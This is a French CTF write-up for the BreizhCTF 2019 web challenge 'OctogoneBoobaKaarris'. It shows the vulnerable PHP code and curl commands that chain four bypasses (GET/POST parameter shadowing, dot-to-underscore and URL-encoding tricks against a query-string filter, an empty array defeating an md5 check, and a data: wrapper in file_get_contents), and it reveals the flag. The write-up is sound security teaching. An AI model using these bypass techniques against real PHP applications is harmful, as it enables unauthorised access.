Zeecka zeecka

OctogoneBoobaKaarris

BreizhCTF 2019 - Web (75 pts)

BreizhCTF 2019: OctogoneBoobaKaarris

Détails du challenge

EventChallengeCategoryPointsSolves
BreizhCTF 2019OctogoneBoobaKaarrisWeb752

Description

URL: http://ctf.bzh:26000

TL;DR

L’objectif est de vérifier plusieurs conditions et de contourner quelques paradoxes PHP, notamment les paramètres de type array et le parsing de la variable $_SERVER.

Méthodologie

Premier coup d’œil au code

Une simple requête GET sur l’URL nous a donné le code suivant :

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    if($_REQUEST){
        foreach ($_REQUEST as $key => $value) {
            if(preg_match('/[a-zA-Z]/i', $value))   die('<center><b>booba vs kaaris... #tristesse</b></center>');
        }
    }
    if($_SERVER){
        if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING']))  die('<center><b>booba vs kaaris... #tristesse</b></center>');
    }
    if(isset($_GET['octogone'])){
        if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){
            die('<center><b>booba vs kaaris... #tristesse</b></center>');
        }else{
            if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
                $getflag = file_get_contents($_GET['flag']);
            }
            if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
              include 'flag.php';
              echo $flag;
            }else die('<center><b>booba vs kaaris... #tristesse</b></center>');
        }
    }
?>

En regardant le code, on voit qu’il faut atteindre l’instruction echo $flag;. Cette instruction est atteinte lorsque plusieurs conditions sont vérifiées (voir chaque appel à die()). Pour déboguer le code, j’ai décidé de le copier et de le déboguer dans mon serveur apache (version PHP : 7).

Breakpoints et débogage

Tout d’abord, j’ai décidé de remplacer chaque erreur die par des erreurs personnalisées : ERROR1, ERROR2, ERROR3 … Ensuite, j’ai remplacé la fonction include flag par echo 'FLAG !'. Enfin, j’ai changé la politique error_reporting(0) en une politique « afficher toutes les erreurs » au début du code.

<?php
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(E_ALL);

    highlight_file(__FILE__);
    if($_REQUEST){
        foreach ($_REQUEST as $key => $value) {
            if(preg_match('/[a-zA-Z]/i', $value))   die('ERROR1');
        }
    }
    if($_SERVER){
        if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING']))  die('ERROR2');
    }
    if(isset($_GET['octogone'])){
        if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){
            die('ERROR3');
        }else{
            if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
                $getflag = file_get_contents($_GET['flag']);
            }
            if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
                echo 'FLAG !';
            }else die('ERROR4');
        }
    }
?>

C’est parti !

Bypass 1

La première condition était :

 foreach ($_REQUEST as $key => $value) {
            if(preg_match('/[a-zA-Z]/i', $value))   die('ERROR1');
        }

Le code indique que si une variable de $_REQUEST contient des caractères, alors on quitte. Cette condition est en contradiction avec d’autres :

if preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles'])

Pour contourner cette instruction, il faut placer chaque variable à la fois dans les paramètres POST et GET. $_REQUEST ne vérifiera alors que la requête POST. Notez qu’il faut mettre un entier ou une valeur vide pour chaque paramètre en valeur POST.

Exemple :

curl "localhost/?param1=string1&param2=string2" -X POST -d "param1=&param2" 
Bypass 2

La condition suivante était :

if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING']))  die('ERROR2');

En d’autres termes, le programme quitte lorsque l’un des mots octogone, flag ou sans_regles est présent dans l’url. C’est un problème car dans la partie suivante du code, on a la vérification suivante :

if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']))

Pour ce contournement, mon ami Creased savait que « . » était remplacé par un « _ » pour les paramètres GET (les clés uniquement). D’après le PHP Forum, on voit que d’autres caractères sont convertis en underscore.

De plus, l’url encoding permet de contourner cette vérification puisque $_SERVER ne fait pas d’url decode alors que $_GET le fait.

On peut maintenant contourner le second problème :

curl "localhost/?sans.regles=viens_pas_a_12_cette_fois&%6fctogone=0&%66lag=0" -X POST -d "sans.regles="
Bypass 3

La troisième condition était une étrange vérification de hash :

if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){

Cela signifie que la variable $_GET[‘octogone’] (les 32 premiers caractères) doit être égale à son propre md5sum.

Pour cette étape, 2 solutions : calculer une md5collision en moins de 32 caractères (bonne chance !), ou… jouer avec un array vide ! J’ai décidé de passer un array en paramètre et d’observer le comportement :

var_dump(substr([],32));  // NULL
var_dump(md5([]));  // NULL
var_dump(substr([],32) == md5([]));  // True

On peut contourner le troisième problème avec un array pour octogone :

curl --globoff "localhost/test.php?sans.regles=viens_pas_a_12_cette_fois&%6fctogone[]=&%66lag=0" -X POST -d "sans.regles="
Bypass 4

La dernière condition était la suivante :

if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
    $getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
    echo 'FLAG !';
}else die('ERROR4');

Il faut définir $_GET['flag'] sur une url que file_get_contents pourrait requêter. De plus, le résultat de cette requête doit être égal à « #jaiMalAMaFrance ».

J’ai décidé d’utiliser le wrapper data : flag=data:plain/text,#jaiMalAMaFrance. J’ai urlencodé la première lettre pour contourner le deuxième filtre et placé cette variable en POST pour contourner le premier filtre. J’ai également urlencodé les caractères spéciaux du wrapper : data%3Aplain%2ftext%2C%23jaiMalAMaFrance

curl --globoff "localhost/test.php?sans.regles=viens_pas_a_12_cette_fois&%6fctogone[]=&%66lag=data%3Aplain%2ftext%2C%23jaiMalAMaFrance" -X POST -d "sans.regles=&flag="

Et voilà ! Nous avons contourné toutes les conditions !

Flag

BREIZHCTF{un_octogone_sans_arbitre_sans_règles…#jaimalamafrance}

Zeecka